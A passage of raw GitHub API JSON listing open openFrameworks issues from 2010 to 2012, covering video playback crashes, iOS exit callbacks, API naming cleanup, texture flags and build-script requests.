Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":255,"html_url":"https://github.com/openframeworks/openFrameworks/issues/255","assignee":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"title":"COMPILE SPEED UP - cleanup internal includes to avoid ofMain.h and ofConstants.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-11T21:14:05Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":413771,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T20:11:33Z","body":"ofHideCursor()/ofShowCursor()\r\n\r\nofEnableArbTex()\r\nofEnableSetupScreen()\r\nofEnableDataPath()\r\nofEnableAlphaBlending()\r\nofEnableSmoothing()\r\n\r\nofSetFullscreen() + ofToggleFullscreen()\r\nofSetVerticalSync()\r\n\r\netc.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/249","comments":1,"milestone":null,"number":249,"html_url":"https://github.com/openframeworks/openFrameworks/issues/249","assignee":null,"title":"normalize option nomenclature (hide/enable/set/etc.)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-11-03T22:52:08Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":399214,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T22:03:41Z","body":"some video to test:\r\n\r\nmmsh://live.camstreams.com/cscamglobal16?MSWMExt=.asf\r\n\r\nit works ok with totem so it should be a problem in ofGstUtils","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/245","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":245,"html_url":"https://github.com/openframeworks/openFrameworks/issues/245","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"gstreamer problems with streaming of microsoft video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-10-13T16:33:06Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":360885,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-03-13T20:13:07Z","body":"I found an annoying bug in ofVideoPlayer.\nThis module do not like to be dynamically created or destroyed.\nCheck this little example :\n\nhttp://knu.free.fr/bug_ofVideoPlayer.zip\n\nLeft-click to create an object playing video.\nRight-click to suppress the last video.\n\nhere are the phenomenons I am facing on my Win7 machine :\n\n- \nIf you create an object, and then you suppress it, and then try to create an object again, the app will crash.\n\n- \nIf you create some objects (lets say 8), and then you suppress all of them, the app will crash before the last one (not always, but most of the time).\n\n\n\nNow in OF source tree, try replacing ofVideoPlayer.cpp with FIX_ofVideoPlayer.cpp (at the root of the zip)\nRebuild the project.\nNow everything should be working as expected.\n\n\nThe modifications I made in the source are marked by : //###############\n\nI do not have time to fully read and understand the quicktime API, so there are chances this workaround is fucking dirty.\nBut at least it seems to work.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/244","comments":1,"milestone":null,"number":244,"html_url":"https://github.com/openframeworks/openFrameworks/issues/244","assignee":null,"title":"bug in ofVideoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-10-11T19:56:46Z","state":"open","user":{"url":"https://api.github.com/users/fmauclere","avatar_url":"https://secure.gravatar.com/avatar/1c7dcbab3712f1a4d90bd2c3aa9a3e3d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"1c7dcbab3712f1a4d90bd2c3aa9a3e3d","login":"fmauclere","id":435720},"id":357395,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-10T05:06:06Z","body":"Check out this code - also check if latest ffmpeg is better optimized for iphone.\r\nhttp://github.com/jgh-/FFmpeg-for-iOS","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/240","comments":0,"milestone":null,"number":240,"html_url":"https://github.com/openframeworks/openFrameworks/issues/240","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"iphone video player - ffmpeg and audioqueues","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-10-06T17:19:57Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":349886,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-10T05:08:56Z","body":"XCode: 3.2.4\nOF: github master @24 Sep 2010\nCompiled as: device base SDK 4.1 release arm7 deployment target 3.2\n\nWeird error: Build ofAudioOutputExample. Add a void testApp::exit() to see if it is called. Run app on ipod touch 2010 version with 4.1 installed.\n\nApp runs OK yet pressing the exit button on front of device quits the app, but xcode keeps running. Digging in a bit it appears not only testApp::exit, but ofExitCallback is not getting called.\n\nSwitch to iPad (no other settings changed) and app runs fine, and exits properly.\n\nSwitch to BaseSDK 3.2 and example runs fine and exits fine on both iPad and iPod.\n\nIdeas? Is this just me? I'm fairly new to OF, XCode and iPhone\n\n[edit]\nOK I worked out that pressing the \"close\" button in 4.1 calls applicationWillResignActive in ofxiPhoneAppDelegate.mm. As a hacky workaround as my app just needs to exit, not sit in background, I added exit(0); to the end of applicationWillResignActive and it seems to work.\n\nWould like to know how to do this properly though.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/236","comments":1,"milestone":null,"number":236,"html_url":"https://github.com/openframeworks/openFrameworks/issues/236","assignee":{"url":"https://api.github.com/users/julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382},"title":"ofExitCallback not being called on iphone4.1?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-09-25T01:55:49Z","state":"open","user":{"url":"https://api.github.com/users/DavidDC","avatar_url":"https://secure.gravatar.com/avatar/a6fdad0c31fcd273a1ba89434fec0419?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"a6fdad0c31fcd273a1ba89434fec0419","login":"DavidDC","id":415101},"id":332379,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-04-19T00:32:33Z","body":"related to #221: texData.bAllocated is only used in the isAllocated method which can be changed from:\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.bAllocated;\r\n }\r\n\r\nto\r\n\r\n bool ofTexture::bAllocated(){\r\n return texData.textureID!=0;\r\n }\r\n\r\navoiding problems like #221 since we don't have two flags for the same thing","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/228","comments":4,"milestone":null,"number":228,"html_url":"https://github.com/openframeworks/openFrameworks/issues/228","assignee":null,"title":"remove bAllocated in ofTexture?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2010-09-09T14:20:55Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":309191,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T15:45:27Z","body":"Segfault when playing .ogv files on 64 bit linux.\nSee forum post - http://www.openframeworks.cc/forum/viewtopic.php?f=7&t=4582","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/227","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":227,"html_url":"https://github.com/openframeworks/openFrameworks/issues/227","assignee":null,"title":"Ubuntu 64-bit conflict with FMOD when playing ogg theora files","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2010-09-08T14:54:33Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":307684,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-08-31T10:54:19Z","body":"It would be nice to have:\r\n\r\n\tconst ofxVec2f xunit2f(1, 0), yunit2f(0, 1);\r\n\tconst ofxVec3f xunit3f(1, 0, 0), yunit3f(0, 1, 0), zunit3f(0, 0, 1);\r\n\r\nOr something similar that allows for more elegant notation when you're multiplying or adding by an axis.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/225","comments":0,"milestone":null,"number":225,"html_url":"https://github.com/openframeworks/openFrameworks/issues/225","assignee":null,"title":"ofxVectorMath constants","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-08-31T10:54:19Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":295913,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-26T18:37:47Z","body":"can this be useful?\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=25&t=4500\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/224","comments":1,"milestone":null,"number":224,"html_url":"https://github.com/openframeworks/openFrameworks/issues/224","assignee":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"title":"gaussian noise","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"}],"closed_at":null,"created_at":"2010-08-26T10:21:24Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"id":290973,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-10-17T13:58:53Z","body":"ofxOsc causes a memory access violation in VS2008, when you use sendMessage(ofxOscMessage) from within a class.\r\nNo error when you run that from main ofApp","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/214","comments":1,"milestone":null,"number":214,"html_url":"https://github.com/openframeworks/openFrameworks/issues/214","assignee":null,"title":"ofxOsc memory access violation. namespace issue?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-08-04T05:59:22Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":268332,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-03-14T15:12:26Z","body":"e) get arturo's script to work, or rewrite a new one to just clobber a given directory (and not pull from git, etc as it's doing now). \r\n\r\ntheo - might be good to have two scripts?\r\n1) to pull from git \r\n2) to remove everything not related to a platform - or maybe better just copies the files into a folder for that platform. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/199","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":199,"html_url":"https://github.com/openframeworks/openFrameworks/issues/199","assignee":null,"title":"script that doesn't pull everything from git","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-06-01T13:28:54Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":211418,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-05-25T14:54:52Z","body":"\r\nas per: \r\n\r\nhttp://www.openframeworks.cc/forum/viewtopic.php?f=8&t=3962&p=20661#p20661\r\n\r\nwe should explain how to use it properly. \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/194","comments":0,"milestone":null,"number":194,"html_url":"https://github.com/openframeworks/openFrameworks/issues/194","assignee":null,"title":"ofGetAppPtr documentation is wrong ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"closed_at":null,"created_at":"2010-05-25T14:54:52Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897},"id":205935,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-05T21:58:22Z","body":"http://www.glfw.org/release-2.6.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/193","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":193,"html_url":"https://github.com/openframeworks/openFrameworks/issues/193","assignee":{"url":"https://api.github.com/users/arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240},"title":"look at glfw - just got updated","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2010-05-23T21:04:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":204247,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:20:16Z","body":"I had the L.A.S.E.R. tag software up and running great on my new MacBook Pro but recently my computer did a software update and now something is wrong and I can't properly use the program. I have snow leopard 10.6.3 OS. I'm not totally sure if it was the auto update that caused the issue but it seems like it stopped working after the update. Below I listed the suspected updates. Seems weird to me 2 digital camera RAW updates.\r\n\r\n3/27/10 Digital Camera RAW update 2.7\r\n3/27/10 Safari 4.0.5\r\n3/27/10 Digital Camera RAW update 3.1\r\n3/27/10 iMovie update 8.0.6\r\n\r\n0 com.apple.QuickTime \t0x9408e179 QTMLGrabMutex + 18\r\n1 com.apple.QuickTime \t0x9421b6a3 QTWorkContextCopyForMediaContextID + 28\r\n2 ...uickTimeStreaming.component\t0x14f77c15 HTTPDhlr_CheckForFatalError + 254\r\n3 ...uickTimeStreaming.component\t0x14f77cc6 HTTPDhlr_ReadSYNC + 165\r\n4 ...uickTimeStreaming.component\t0x14f7ab01 HTTPDataHandler_ScheduleData64 + 452\r\n5 ...ple.CoreServices.CarbonCore\t0x949a2d05 callComponentStorage_4444444 + 63\r\n6 ...ple.CoreServices.CarbonCore\t0x949976f0 CallComponentFunctionCommonWithStorage(char**, ComponentParameters*, long (*)(), unsigned long) + 54\r\n7 ...uickTimeStreaming.component\t0x14f784c7 HTTPDataHandler_ComponentDispatch + 110\r\n8 ...ple.CoreServices.CarbonCore\t0x9498fd87 CallComponentDispatch + 29\r\n9 com.apple.QuickTime \t0x94093540 DataHScheduleData64 + 73\r\n10 com.apple.QuickTime \t0x940b5704 NewMovieFromDataRefPriv_priv + 8296\r\n11 com.apple.QuickTime \t0x9419e613 NewMovieFromDataRef_priv + 54\r\n12 com.apple.QuickTime \t0x942fb95e NewMovieFromDataRef + 52\r\n13 com.yourcompany.openFrameworks\t0x0000aa2a createMovieFromURL(std::string, MovieType**&) + 112\r\n14 com.yourcompany.openFrameworks\t0x0000abe2 ofVideoPlayer::loadMovie(std::string) + 182\r\n15 com.yourcompany.openFrameworks\t0x0002fe03 appController::setup() + 2169\r\n16 com.yourcompany.openFrameworks\t0x00002864 ofRunApp(ofSimpleApp*) + 170\r\n17 com.yourcompany.openFrameworks\t0x0003dc06 main + 90\r\n18 com.yourcompany.openFrameworks\t0x00001da2 _start + 216\r\n19 com.yourcompany.openFrameworks\t0x00001cc9 start + 41","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/182","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":182,"html_url":"https://github.com/openframeworks/openFrameworks/issues/182","assignee":null,"title":"ofVideoPlayer - createMovieFromURL broken in 10.6.3 with specific updates?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-15T16:20:25Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":172424,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2010-04-14T15:48:19Z","body":"can we add moments to the blob. \n\nadd CvMoments moments to blob class\n\nand in ofxCvContourFinder.cpp line 119\n\n\t blobs[i].moments.m00 = myMoments->m00;\n\t\tblobs[i].moments.m10 = myMoments->m10;\n\t\tblobs[i].moments.m01 = myMoments->m01;\n\t\tblobs[i].moments.m20 = myMoments->m20;\n\t\tblobs[i].moments.m11 = myMoments->m11;\n\t\tblobs[i].moments.m02 = myMoments->m02;\n\t\tblobs[i].moments.m30 = myMoments->m30;\n\t\tblobs[i].moments.m21 = myMoments->m21;\n\t\tblobs[i].moments.m12 = myMoments->m12;\n\t\tblobs[i].moments.m03 = myMoments->m03;\n\t\t\n\t\tblobs[i].moments.mu20 = myMoments->mu20;\n\t\tblobs[i].moments.mu11 = myMoments->mu11;\n\t\tblobs[i].moments.mu02 = myMoments->mu02;\n\t\tblobs[i].moments.mu30 = myMoments->mu30;\n\t\tblobs[i].moments.mu21 = myMoments->mu21;\n\t\tblobs[i].moments.mu12 = myMoments->mu12;\n\t\tblobs[i].moments.mu03 = myMoments->mu03;\n\n\nthis is good for finding the angle and other info about the contour.\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/181","comments":2,"milestone":null,"number":181,"html_url":"https://github.com/openframeworks/openFrameworks/issues/181","assignee":null,"title":"ofxCvBlobs","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2010-04-14T15:42:22Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","id":149997},"id":171615,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2012-05-29T15:04:04Z","body":"Buffer is 512 but should be 276 ( or something )\r\nSetting it to 256 says the buffer size should be 176 ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/178","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":178,"html_url":"https://github.com/openframeworks/openFrameworks/issues/178","assignee":null,"title":"iPhone sound bug with 1st gen ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2010-04-11T10:18:58Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000},"id":169176,"pull_request":{"html_url":null,"patch_url":null,"diff_url":null}},{"updated_at":"2011-12-02T19:18:14Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/175","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","closed_issues":21,"open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":175,"html_url":"https://github.com/openframeworks/openFrameworks/issues/175","assignee":null,"title":"bring examples up to date - make 